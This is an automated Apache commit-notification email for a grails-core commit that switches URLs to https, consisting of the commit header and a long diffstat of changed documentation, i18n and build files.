You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@grails.apache.org by jd...@apache.org on 2025/07/15 22:48:50 UTC

(grails-core) 03/03: chore: switch to https

This is an automated email from the ASF dual-hosted git repository.

jdaugherty pushed a commit to branch style-enforcement
in repository https://gitbox.apache.org/repos/asf/grails-core.git

commit 1a319493504a5b00ced3e855166983039391bd41
Author: James Daugherty <jd...@jdresources.net>
AuthorDate: Mon Jul 14 14:54:30 2025 -0400

    chore: switch to https
---
 CONTRIBUTING.md                                    |  6 ++--
 etc/bin/Dockerfile                                 |  2 +-
 gradle.properties                                  |  2 +-
 gradle/style-enforcement-config.gradle             |  9 ++++-
 .../src/main/resources/grails.build.properties     |  2 +-
 .../src/main/resources/springloaded.properties     |  2 +-
 grails-common/src/main/resources/META-INF/NOTICE   |  2 +-
 .../spring/context/annotation/grails-context.xsd   |  2 +-
 grails-core/src/main/resources/META-INF/NOTICE     |  2 +-
 .../docs/src/main/docs/guide/gettingStarted.adoc   |  6 ++--
 .../docs/src/main/docs/guide/introduction.adoc     |  6 ++--
 .../docs/src/main/docs/guide/types.adoc            |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 grails-data-graphql/gradle.properties              |  2 +-
 .../DatabaseMigrationGrailsPlugin.groovy           |  5 ++-
 .../asciidoc/databaseMigration/configuration.adoc  |  4 +--
 .../asciidoc/databaseMigration/groovyChanges.adoc  |  2 +-
 .../databaseMigration/groovyPreconditions.adoc     |  2 +-
 .../asciidoc/databaseMigration/introduction.adoc   |  2 +-
 .../ref/Documentation Scripts/dbm-db-doc.adoc      |  2 +-
 .../dbm-changelog-sync-sql.adoc                    |  2 +-
 .../Maintenance Scripts/dbm-changelog-sync.adoc    |  2 +-
 .../dbm-mark-next-changeset-ran.adoc               |  2 +-
 .../ref/Maintenance Scripts/dbm-status.adoc        |  2 +-
 .../Rollback Scripts/dbm-future-rollback-sql.adoc  |  2 +-
 .../Rollback Scripts/dbm-generate-changelog.adoc   |  2 +-
 .../Rollback Scripts/dbm-rollback-count-sql.adoc   |  2 +-
 .../ref/Rollback Scripts/dbm-rollback-count.adoc   |  2 +-
 .../ref/Rollback Scripts/dbm-rollback-sql.adoc     |  2 +-
 .../Rollback Scripts/dbm-rollback-to-date-sql.adoc |  2 +-
 .../ref/Rollback Scripts/dbm-rollback-to-date.adoc |  2 +-
 .../ref/Rollback Scripts/dbm-rollback.adoc         |  2 +-
 .../Update Scripts/dbm-previous-changeset-sql.adoc |  2 +-
 .../ref/Update Scripts/dbm-update-count-sql.adoc   |  2 +-
 .../ref/Update Scripts/dbm-update-count.adoc       |  2 +-
 .../ref/Update Scripts/dbm-update-sql.adoc         |  2 +-
 .../ref/Update Scripts/dbm-update.adoc             |  2 +-
 .../asciidoc/gettingStarted/outsideGrails.adoc     |  2 +-
 .../grails3-neo4j-hibernate/gradle.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../examples/grails3-neo4j/gradle.properties       |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../examples/neo4j-spring-boot/gradle.properties   |  2 +-
 .../examples/neo4j-standalone/gradle.properties    |  2 +-
 .../examples/test-data-service/gradle.properties   |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 grails-data-neo4j/gradle.properties                |  2 +-
 .../src/test/resources/neo4j-server.properties     |  2 +-
 .../src/test/resources/spy.properties              |  2 +-
 .../tck/tests/CommonTypesPersistenceSpec.groovy    |  4 +--
 .../validation/DefaultErrorMessages.properties     |  2 +-
 grails-doc/build.gradle                            |  2 +-
 grails-doc/resources/doc.properties                |  2 +-
 grails-doc/resources/log4j.properties              |  2 +-
 grails-doc/src/en/guide/REST/hypermedia.adoc       |  4 +--
 grails-doc/src/en/guide/REST/hypermedia/atom.adoc  |  8 ++---
 grails-doc/src/en/guide/REST/hypermedia/hal.adoc   |  2 +-
 grails-doc/src/en/guide/REST/jsonViews.adoc        |  2 +-
 .../en/guide/REST/jsonViews/jsonViewsCreating.adoc |  4 +--
 .../jsonViewsTemplatesAndConventions.adoc          |  2 +-
 grails-doc/src/en/guide/async.adoc                 |  2 +-
 grails-doc/src/en/guide/async/asyncRequests.adoc   |  2 +-
 .../guide/commandLine/creatingCustomCommands.adoc  |  4 +--
 .../src/en/guide/commandLine/gradleBuild.adoc      |  4 +--
 .../gradleBuild/gradleDependencies.adoc            |  2 +-
 .../commandLine/gradleBuild/gradlePlugins.adoc     |  4 +--
 grails-doc/src/en/guide/conf/config.adoc           |  2 +-
 .../src/en/guide/conf/config/builtInOptions.adoc   |  2 +-
 .../en/guide/conf/config/logging/loggerName.adoc   | 10 +++---
 grails-doc/src/en/guide/conf/dataSource.adoc       | 10 +++---
 .../en/guide/conf/dataSource/databaseConsole.adoc  |  2 +-
 .../guide/conf/dataSource/multipleDatasources.adoc |  4 +--
 grails-doc/src/en/guide/conf/docengine.adoc        | 12 +++----
 grails-doc/src/en/guide/contributing/build.adoc    |  6 ++--
 .../conventionOverConfiguration.adoc               |  2 +-
 .../gettingStarted/deployingAnApplication.adoc     |  2 +-
 grails-doc/src/en/guide/gettingStarted/ide.adoc    |  6 ++--
 .../src/en/guide/gettingStarted/requirements.adoc  |  2 +-
 .../hibernate/mappingWithHibernateAnnotations.adoc |  4 +--
 grails-doc/src/en/guide/i18n.adoc                  |  2 +-
 grails-doc/src/en/guide/i18n/readingMessages.adoc  |  2 +-
 grails-doc/src/en/guide/introduction.adoc          | 20 +++++------
 .../guide/plugins/artefactApi/customArtefacts.adoc |  2 +-
 .../plugins/hookingIntoRuntimeConfiguration.adoc   |  4 +--
 grails-doc/src/en/guide/plugins/repositories.adoc  |  2 +-
 grails-doc/src/en/guide/profiles.adoc              |  4 +--
 .../src/en/guide/profiles/publishingProfiles.adoc  |  2 +-
 .../src/en/guide/testing/functionalTesting.adoc    |  2 +-
 .../theWebLayer/controllers/jsonResponses.adoc     |  4 +--
 .../theWebLayer/controllers/moreOnJSONBuilder.adoc |  4 +--
 .../fields/scaffolding/extending/index.adoc        |  6 ++--
 grails-doc/src/en/guide/theWebLayer/gson.adoc      |  4 +--
 .../src/en/guide/theWebLayer/gson/jsonapi.adoc     | 14 ++++----
 .../en/guide/theWebLayer/gson/templateEngine.adoc  |  2 +-
 grails-doc/src/en/guide/theWebLayer/markup.adoc    |  4 +--
 .../theWebLayer/markup/markupConfiguration.adoc    |  2 +-
 .../src/en/guide/upgrading/upgrading33x.adoc       |  2 +-
 .../org/grails/buffer/StringCharArrayAccessor.java |  2 +-
 .../org/grails/encoder/impl/BasicJSONEncoder.java  |  2 +-
 .../org/grails/encoder/impl/JavaScriptEncoder.java |  2 +-
 .../docs/guide/installation/installSdkman.adoc     |  4 +--
 grails-geb/README.md                               |  2 +-
 .../src/main/templates/FunctionalSpec.groovy       |  2 +-
 .../src/main/resources/grails/doc/doc.properties   |  2 +-
 .../main/resources/radeox_messages_en.properties   |  2 +-
 .../docs-core/src/main/template/log4j.properties   |  2 +-
 .../src/test/resources/docs/guide/single.html      | 42 +++++++++++-----------
 .../resources/docs/ref/Constraints/inList.html     |  2 +-
 .../test/resources/docs/ref/Constraints/max.html   |  2 +-
 .../resources/docs/ref/Constraints/maxSize.html    |  2 +-
 .../test/resources/docs/ref/Constraints/min.html   |  2 +-
 .../resources/docs/ref/Constraints/minSize.html    |  2 +-
 .../resources/docs/ref/Constraints/nullable.html   |  2 +-
 .../test/resources/docs/ref/Constraints/range.html |  2 +-
 .../test/resources/docs/ref/Constraints/scale.html |  2 +-
 .../test/resources/docs/ref/Constraints/size.html  |  2 +-
 .../resources/docs/ref/Constraints/unique.html     |  2 +-
 .../resources/docs/ref/Database Mapping/Usage.html |  2 +-
 .../resources/docs/ref/Database Mapping/cache.html |  2 +-
 .../resources/docs/ref/Database Mapping/fetch.html |  2 +-
 .../resources/docs/ref/Database Mapping/id.html    |  2 +-
 .../resources/docs/ref/Database Mapping/lazy.html  |  2 +-
 .../docs/ref/Database Mapping/version.html         |  2 +-
 .../resources/docs/ref/Domain Classes/Usage.html   |  2 +-
 .../docs/ref/Domain Classes/belongsTo.html         |  2 +-
 .../resources/docs/ref/Domain Classes/countBy.html |  4 +--
 .../docs/ref/Domain Classes/createCriteria.html    |  2 +-
 .../docs/ref/Domain Classes/embedded.html          |  2 +-
 .../docs/ref/Domain Classes/executeQuery.html      |  2 +-
 .../resources/docs/ref/Domain Classes/find.html    |  2 +-
 .../resources/docs/ref/Domain Classes/findAll.html |  2 +-
 .../docs/ref/Domain Classes/findAllBy.html         |  4 +--
 .../resources/docs/ref/Domain Classes/findBy.html  |  4 +--
 .../docs/ref/Domain Classes/findOrCreateBy.html    |  2 +-
 .../docs/ref/Domain Classes/findOrSaveBy.html      |  2 +-
 .../resources/docs/ref/Domain Classes/lock.html    |  2 +-
 .../resources/docs/ref/Domain Classes/mapping.html |  4 +--
 .../docs/ref/Domain Classes/namedQueries.html      |  2 +-
 .../resources/docs/ref/Domain Classes/save.html    |  4 +--
 .../resources/docs/ref/Domain Classes/where.html   |  2 +-
 .../docs/ref/Domain Classes/whereAny.html          |  2 +-
 .../docs/ref/Domain Classes/withCriteria.html      |  2 +-
 .../docs/ref/Domain Classes/withTransaction.html   |  2 +-
 .../resources/docs/ref/Plug-ins/domainClasses.html |  2 +-
 grails-gradle/gradle.properties                    |  2 +-
 .../gradle.properties                              |  2 +-
 .../otherProject/gradle.properties                 |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../groovy-doc-disabled/gradle.properties          |  2 +-
 .../groovy-only-project/gradle.properties          |  2 +-
 .../java-already-configured/gradle.properties      |  2 +-
 .../java-only-project/gradle.properties            |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../multiple-source-sets/gradle.properties         |  2 +-
 .../gradle.properties                              |  2 +-
 .../simple-project/gradle.properties               |  2 +-
 .../gradle.properties                              |  2 +-
 .../otherProject/gradle.properties                 |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../gradle.properties                              |  2 +-
 .../groovy/org/grails/gsp/jsp/JspTagImpl.groovy    |  2 +-
 .../org/grails/gsp/jsp/LocalEntityResolver.java    |  2 ++
 .../grails/gsp/jsp/TagLibraryResolverImpl.groovy   |  2 +-
 .../src/main/groovy/grails/rest/Linkable.groovy    |  2 +-
 .../grails/rest/render/atom/AtomRenderer.groovy    |  2 +-
 .../grails/rest/render/hal/HalJsonRenderer.groovy  |  2 +-
 .../grails/rest/render/hal/HalXmlRenderer.groovy   |  2 +-
 .../org/grails/spring/BeanConfiguration.java       |  2 +-
 .../grails/spring/DefaultBeanConfiguration.java    |  2 +-
 .../spring/DefaultRuntimeSpringConfiguration.java  |  2 +-
 .../grails/spring/RuntimeSpringConfiguration.java  |  2 +-
 .../app1/grails-app/i18n/messages.properties       |  2 +-
 .../app1/grails-app/i18n/messages_cs_CZ.properties |  2 +-
 .../app1/grails-app/i18n/messages_da.properties    |  2 +-
 .../app1/grails-app/i18n/messages_de.properties    |  2 +-
 .../app1/grails-app/i18n/messages_es.properties    |  2 +-
 .../app1/grails-app/i18n/messages_fr.properties    |  2 +-
 .../app1/grails-app/i18n/messages_it.properties    |  2 +-
 .../app1/grails-app/i18n/messages_ja.properties    |  2 +-
 .../app1/grails-app/i18n/messages_nb.properties    |  2 +-
 .../app1/grails-app/i18n/messages_nl.properties    |  2 +-
 .../app1/grails-app/i18n/messages_pl.properties    |  2 +-
 .../app1/grails-app/i18n/messages_pt_BR.properties |  2 +-
 .../app1/grails-app/i18n/messages_pt_PT.properties |  2 +-
 .../app1/grails-app/i18n/messages_ru.properties    |  2 +-
 .../app1/grails-app/i18n/messages_sv.properties    |  2 +-
 .../app1/grails-app/i18n/messages_th.properties    |  2 +-
 .../app1/grails-app/i18n/messages_zh_CN.properties |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../demo33/grails-app/i18n/messages.properties     |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../demo33/grails-app/i18n/messages_da.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_de.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_es.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_fr.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_it.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_ja.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_nb.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_nl.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_pl.properties  |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../demo33/grails-app/i18n/messages_ru.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_sv.properties  |  2 +-
 .../demo33/grails-app/i18n/messages_th.properties  |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../geb/grails-app/i18n/messages.properties        |  2 +-
 .../gsp-layout/grails-app/i18n/messages.properties |  2 +-
 .../grails-app/i18n/messages_cs.properties         |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sk.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs.properties         |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sk.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../app/src/main/resources/application.properties  |  2 +-
 .../gsp-spring-boot/script/application.properties  |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs_CZ.properties      |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs.properties         |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sk.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
 .../grails-app/i18n/messages_cs.properties         |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sk.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../micronaut/grails-app/i18n/messages.properties  |  2 +-
 .../grails-app/i18n/messages_cs.properties         |  2 +-
 .../grails-app/i18n/messages_da.properties         |  2 +-
 .../grails-app/i18n/messages_de.properties         |  2 +-
 .../grails-app/i18n/messages_es.properties         |  2 +-
 .../grails-app/i18n/messages_fr.properties         |  2 +-
 .../grails-app/i18n/messages_it.properties         |  2 +-
 .../grails-app/i18n/messages_ja.properties         |  2 +-
 .../grails-app/i18n/messages_nb.properties         |  2 +-
 .../grails-app/i18n/messages_nl.properties         |  2 +-
 .../grails-app/i18n/messages_pl.properties         |  2 +-
 .../grails-app/i18n/messages_pt_BR.properties      |  2 +-
 .../grails-app/i18n/messages_pt_PT.properties      |  2 +-
 .../grails-app/i18n/messages_ru.properties         |  2 +-
 .../grails-app/i18n/messages_sk.properties         |  2 +-
 .../grails-app/i18n/messages_sv.properties         |  2 +-
 .../grails-app/i18n/messages_th.properties         |  2 +-
 .../grails-app/i18n/messages_zh_CN.properties      |  2 +-
 .../base/grails-app/i18n/messages.properties       |  2 +-
 .../base/grails-app/i18n/messages_cs_CZ.properties |  2 +-
 .../base/grails-app/i18n/messages_da.properties    |  2 +-
 .../base/grails-app/i18n/messages_de.properties    |  2 +-
 .../base/grails-app/i18n/messages_es.properties    |  2 +-
 .../base/grails-app/i18n/messages_fr.properties    |  2 +-
 .../base/grails-app/i18n/messages_it.properties    |  2 +-
 .../base/grails-app/i18n/messages_ja.properties    |  2 +-
 .../base/grails-app/i18n/messages_nb.properties    |  2 +-
 .../base/grails-app/i18n/messages_nl.properties    |  2 +-
 .../base/grails-app/i18n/messages_pl.properties    |  2 +-
 .../base/grails-app/i18n/messages_pt_BR.properties |  2 +-
 .../base/grails-app/i18n/messages_pt_PT.properties |  2 +-
 .../base/grails-app/i18n/messages_ru.properties    |  2 +-
 .../base/grails-app/i18n/messages_sv.properties    |  2 +-
 .../base/grails-app/i18n/messages_th.properties    |  2 +-
 .../base/grails-app/i18n/messages_zh_CN.properties |  2 +-
 .../grails-app/i18n/messages.properties            |  2 +-
